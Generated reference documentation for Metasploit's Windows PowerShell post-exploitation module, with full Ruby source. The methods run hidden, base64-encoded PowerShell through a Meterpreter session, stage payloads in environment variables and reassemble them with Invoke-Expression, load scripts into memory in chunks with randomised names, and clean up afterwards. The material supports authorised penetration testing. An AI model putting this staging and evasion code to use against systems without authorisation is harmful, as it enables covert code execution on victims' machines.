Module: Msf::Post::Windows::Powershell
- Includes:
- Exploit::Powershell, Common
- Defined in:
- lib/msf/core/post/windows/powershell.rb
Overview
Powershell exploitation routines
Instance Method Summary collapse
-
#clean_up(script_file = nil, eof = '', running_pids = [], open_channels = [], env_suffix = Rex::Text.rand_text_alpha(8), delete = false) ⇒ Object
Clean up powershell script including process and chunks stored in environment variables.
-
#execute_script(script, greedy_kill = false) ⇒ Object
Execute a powershell script and return the output, channels, and pids.
-
#get_powershell_version ⇒ Object
Returns the Powershell version.
-
#get_ps_output(cmd_out, eof, read_wait = 5) ⇒ Object
Reads output of the command channel and empties the buffer.
-
#get_ps_pids(pids = []) ⇒ Object
Get/compare list of current PS processes - nested execution can spawn many children doing checks before and after execution allows us to kill more children…
-
#have_powershell? ⇒ Boolean
Returns true if powershell is installed.
- #initialize(info = {}) ⇒ Object
-
#psh_exec(script, greedy_kill = true, ps_cleanup = true) ⇒ Object
Simple script execution wrapper, performs all steps required to execute a string of powershell.
-
#stage_cmd_env(compressed_script, env_suffix = Rex::Text.rand_text_alpha(8)) ⇒ Object
Powershell scripts that are longer than 8000 bytes are split into 8000 byte chunks and stored as CMD environment variables.
-
#stage_psh_env(script) ⇒ Object
Uploads a script into a Powershell session via memory (Powershell session types only).
Methods included from Common
#clear_screen, #cmd_exec, #cmd_exec_get_pid, #cmd_exec_with_result, #command_exists?, #get_env, #get_envs, #peer, #report_virtualization, #rhost, #rport
Methods included from Exploit::Powershell
#bypass_powershell_protections, #cmd_psh_payload, #compress_script, #decode_script, #decompress_script, #encode_script, #generate_psh_args, #generate_psh_command_line, #make_subs, #process_subs, #read_script, #run_hidden_psh
Instance Method Details
#clean_up(script_file = nil, eof = '', running_pids = [], open_channels = [], env_suffix = Rex::Text.rand_text_alpha(8), delete = false) ⇒ Object
Clean up powershell script including process and chunks stored in environment variables
278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 |
# File 'lib/msf/core/post/windows/powershell.rb', line 278 def clean_up(script_file = nil, eof = '', running_pids = [], open_channels = [], env_suffix = Rex::Text.rand_text_alpha(8), delete = false) # Remove environment variables env_del_command = "[Environment]::GetEnvironmentVariables('User').keys|" env_del_command += "Select-String #{env_suffix}|%{" env_del_command += "[Environment]::SetEnvironmentVariable($_,$null,'User')}" script = compress_script(env_del_command, eof) cmd_out, new_running_pids, new_open_channels = execute_script(script) get_ps_output(cmd_out, eof) # Kill running processes, should mutex this... @session_pids = (@session_pids + running_pids + new_running_pids).uniq (running_pids + new_running_pids).uniq.each do |pid| begin if session.sys.process.processes.map { |x| x['pid'] }.include?(pid) session.sys.process.kill(pid) end @session_pids.delete(pid) rescue Rex::Post::Meterpreter::RequestError => e print_error "Failed to kill #{pid} due to #{e}" end end # Close open channels (open_channels + new_open_channels).uniq.each do |chan| chan.channel.close end ::File.delete(script_file) if script_file && delete end |
#execute_script(script, greedy_kill = false) ⇒ Object
Execute a powershell script and return the output, channels, and pids. The script is never written to disk.
89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 |
# File 'lib/msf/core/post/windows/powershell.rb', line 89 def execute_script(script, greedy_kill = false) @session_pids ||= [] running_pids = greedy_kill ? get_ps_pids : [] open_channels = [] # Execute using -EncodedCommand session.response_timeout = datastore['Powershell::Post::timeout'].to_i ps_bin = datastore['Powershell::Post::force_wow64'] ? '%windir%\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe' # Check to ensure base64 encoding - regex format and content length division unless script.to_s.match(/[A-Za-z0-9+\/]+={0,3}/)[0] == script.to_s && (script.to_s.length % 4).zero? script = encode_script(script.to_s) end ps_string = "-EncodedCommand #{script} -InputFormat None" vprint_good "EXECUTING:\n#{ps_bin} #{ps_string}" cmd_out = session.sys.process.execute(ps_bin, ps_string, { 'Hidden' => true, 'Channelized' => true }) # Subtract prior PIDs from current if greedy_kill Rex::ThreadSafe.sleep(3) # Let PS start child procs running_pids = get_ps_pids(running_pids) end # Add to list of running processes running_pids << cmd_out.pid # All pids start here, so store them in a class variable (@session_pids += running_pids).uniq! # Add to list of open channels open_channels << cmd_out [cmd_out, running_pids.uniq, open_channels] end |
#get_powershell_version ⇒ Object
Returns the Powershell version
50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 |
# File 'lib/msf/core/post/windows/powershell.rb', line 50 def get_powershell_version return nil unless have_powershell? process, _pid, _c = execute_script('$PSVersionTable.PSVersion') o = '' while (d = process.channel.read) if d == "" if (Time.now.to_i - start < time_out) && (o == '') sleep 0.1 else break end else o << d end end o.scan(/[\d \-]+/).last.split[0, 2] * '.' end |
#get_ps_output(cmd_out, eof, read_wait = 5) ⇒ Object
Reads output of the command channel and empties the buffer. Will optionally log command output to disk.
235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 |
# File 'lib/msf/core/post/windows/powershell.rb', line 235 def get_ps_output(cmd_out, eof, read_wait = 5) results = '' if datastore['Powershell::Post::log_output'] # Get target's computer name computer_name = session.sys.config.sysinfo['Computer'] # Create unique log directory log_dir = ::File.join(Msf::Config.log_directory, 'scripts', 'powershell', computer_name) ::FileUtils.mkdir_p(log_dir) # Define log filename time_stamp = ::Time.now.strftime('%Y%m%d:%H%M%S') log_file = ::File.join(log_dir, "#{time_stamp}.txt") # Open log file for writing fd = ::File.new(log_file, 'w+') end # Read output until eof or nil return output and write to log loop do line = ::Timeout.timeout(read_wait) do cmd_out.channel.read end rescue nil break if line.nil? if line.sub!(/#{eof}/, '') results << line fd.write(line) if fd break end results << line fd.write(line) if fd end # Close log file fd.close if fd results end |
#get_ps_pids(pids = []) ⇒ Object
Get/compare list of current PS processes - nested execution can spawn many children doing checks before and after execution allows us to kill more children… This is a hack, better solutions are welcome since this could kill user spawned powershell windows created between comparisons.
78 79 80 81 82 83 |
# File 'lib/msf/core/post/windows/powershell.rb', line 78 def get_ps_pids(pids = []) current_pids = session.sys.process.get_processes.keep_if { |p| p['name'].casecmp('powershell.exe').zero? }.map { |p| p['pid'] } # Subtract previously known pids current_pids = (current_pids - pids).uniq current_pids end |
#have_powershell? ⇒ Boolean
Returns true if powershell is installed
43 44 45 |
# File 'lib/msf/core/post/windows/powershell.rb', line 43 def have_powershell? cmd_exec('cmd.exe', '/c "echo. | powershell get-host"') =~ /Name.*Version.*InstanceId/m end |
#initialize(info = {}) ⇒ Object
12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 |
# File 'lib/msf/core/post/windows/powershell.rb', line 12 def initialize(info = {}) super( update_info( info, 'Compat' => { 'Meterpreter' => { 'Commands' => %w[ stdapi_sys_config_sysinfo stdapi_sys_process_execute stdapi_sys_process_get_processes stdapi_sys_process_kill ] } } ) ) ( [ OptInt.new('Powershell::Post::timeout', [true, 'Powershell execution timeout, set < 0 to run async without termination', 15]), OptBool.new('Powershell::Post::log_output', [true, 'Write output to log file', false]), OptBool.new('Powershell::Post::dry_run', [true, 'Return encoded output to caller', false]), OptBool.new('Powershell::Post::force_wow64', [true, 'Force WOW64 execution', false]), ], self.class ) end |
#psh_exec(script, greedy_kill = true, ps_cleanup = true) ⇒ Object
Simple script execution wrapper, performs all steps required to execute a string of powershell. This method will try to kill all powershell.exe PIDs which appeared during its execution, set greedy_kill to false if this is not desired.
316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 |
# File 'lib/msf/core/post/windows/powershell.rb', line 316 def psh_exec(script, greedy_kill = true, ps_cleanup = true) # Define vars eof = Rex::Text.rand_text_alpha(8) # eof = "THIS__SCRIPT_HAS__COMPLETED_EXECUTION#{rand(100)}" env_suffix = Rex::Text.rand_text_alpha(8) start = Rex::Text.rand_text_alpha(8) stop = Rex::Text.rand_text_alpha(8) script = "echo #{start};" + script + "; echo #{stop}" script = Rex::Powershell::Script.new(script) unless script.respond_to?(:compress_code) # Check to ensure base64 encoding - regex format and content length division unless script.to_s.match(/[A-Za-z0-9+\/]+={0,3}/)[0] == script.to_s && (script.to_s.length % 4).zero? script = encode_script(compress_script(script.to_s, eof), eof) end if datastore['Powershell::Post::dry_run'] return "powershell -EncodedCommand #{script}" else # Check 8k cmd buffer limit, stage if needed if script.size > 8100 vprint_error "Compressed size: #{script.size}" error_msg = "Compressed size may cause command to exceed " \ "cmd.exe's 8kB character limit." vprint_error error_msg vprint_good 'Launching stager:' script = stage_cmd_env(script, env_suffix) print_good "Payload successfully staged." else print_good "Compressed size: #{script.size}" end vprint_good "Final command #{script}" # Execute the script, get the output, and kill the resulting PIDs cmd_out, running_pids, open_channels = execute_script(script, greedy_kill) if datastore['Powershell::Post::timeout'].to_i < 0 out = "Started async execution of #{running_pids.join(', ')}, output collection and cleanup will not be performed" # print_error out return out end ps_output = get_ps_output(cmd_out, eof, datastore['Powershell::Post::timeout']) ps_output = ps_output[/#{start}(.*?)#{stop}/m, 1].strip #https://stackoverflow.com/a/9661504 # Kill off the resulting processes if needed if ps_cleanup vprint_good "Cleaning up #{running_pids.join(', ')}" clean_up(nil, eof, running_pids, open_channels, env_suffix, false) end return ps_output end end |
#stage_cmd_env(compressed_script, env_suffix = Rex::Text.rand_text_alpha(8)) ⇒ Object
Powershell scripts that are longer than 8000 bytes are split into 8000 byte chunks and stored as CMD environment variables. A new powershell script is built that will reassemble the chunks and execute the script. Returns the reassembly script.
131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 |
# File 'lib/msf/core/post/windows/powershell.rb', line 131 def stage_cmd_env(compressed_script, env_suffix = Rex::Text.rand_text_alpha(8)) # Check to ensure script is encoded and compressed if compressed_script =~ /\s|\.|\;/ compressed_script = compress_script(compressed_script) end # Divide the encoded script into 8000 byte chunks and iterate index = 0 count = 8000 while index < compressed_script.size - 1 # Define random, but serialized variable name env_variable = format("%05d%s", ((index + 8000) / 8000), env_suffix) # Create chunk chunk = compressed_script[index, count] # Build the set commands set_env_variable = "[Environment]::SetEnvironmentVariable(" \ "'#{env_variable}'," \ "'#{chunk}', 'User')" # Compress and encode the set command encoded_stager = encode_script(compress_script(set_env_variable)) # Stage the payload print_good " - Bytes remaining: #{compressed_script.size - index}" execute_script(encoded_stager, false) index += count end # Build the script reassembler reassemble_command = "[Environment]::GetEnvironmentVariables('User').keys|" reassemble_command += "Select-String #{env_suffix}|Sort-Object|%{" reassemble_command += "$c+=[Environment]::GetEnvironmentVariable($_,'User')" reassemble_command += "};Invoke-Expression $($([Text.Encoding]::Unicode." reassemble_command += "GetString($([Convert]::FromBase64String($c)))))" # Compress and encode the reassemble command encoded_script = encode_script(compress_script(reassemble_command)) encoded_script end |
#stage_psh_env(script) ⇒ Object
Uploads a script into a Powershell session via memory (Powershell session types only). If the script is larger than 15000 bytes the script will be uploaded in a staged approach
179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 |
# File 'lib/msf/core/post/windows/powershell.rb', line 179 def stage_psh_env(script) begin ps_script = read_script(script) encoded_expression = encode_script(ps_script) cleanup_commands = [] # Add entropy to script variable names script_var = ps_script.rig.generate(4) decscript = ps_script.rig.generate(4) scriptby = ps_script.rig.generate(4) scriptbybase = ps_script.rig.generate(4) scriptbybasefull = ps_script.rig.generate(4) if encoded_expression.size > 14999 print_error "Script size: #{encoded_expression.size} This script requires a stager" arr = encoded_expression.chars.each_slice(14999).map(&:join) print_good "Loading #{arr.count} chunks into the stager." vararray = [] arr.each_with_index do |slice, index| variable = ps_script.rig.generate(5) vararray << variable indexval = index + 1 vprint_good "Loaded stage:#{indexval}" session.shell_command("$#{variable} = \"#{slice}\"") cleanup_commands << "Remove-Variable #{variable} -EA 0" end linkvars = '' vararray.each { |var| linkvars << " + $#{var}" } linkvars.slice!(0..2) session.shell_command("$#{script_var} = #{linkvars}") else print_good "Script size: #{encoded_expression.size}" session.shell_command("$#{script_var} = \"#{encoded_expression}\"") end session.shell_command("$#{decscript} = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($#{script_var}))") session.shell_command("$#{scriptby} = [System.Text.Encoding]::UTF8.GetBytes(\"$#{decscript}\")") session.shell_command("$#{scriptbybase} = [System.Convert]::ToBase64String($#{scriptby}) ") session.shell_command("$#{scriptbybasefull} = ([System.Convert]::FromBase64String($#{scriptbybase}))") session.shell_command("([System.Text.Encoding]::UTF8.GetString($#{scriptbybasefull}))|iex") print_good "Module loaded" unless cleanup_commands.empty? vprint_good "Cleaning up #{cleanup_commands.count} stager variables" session.shell_command(cleanup_commands.join(';').to_s) end rescue Errno::EISDIR => e vprint_error "Unable to upload script: #{e.}" end end |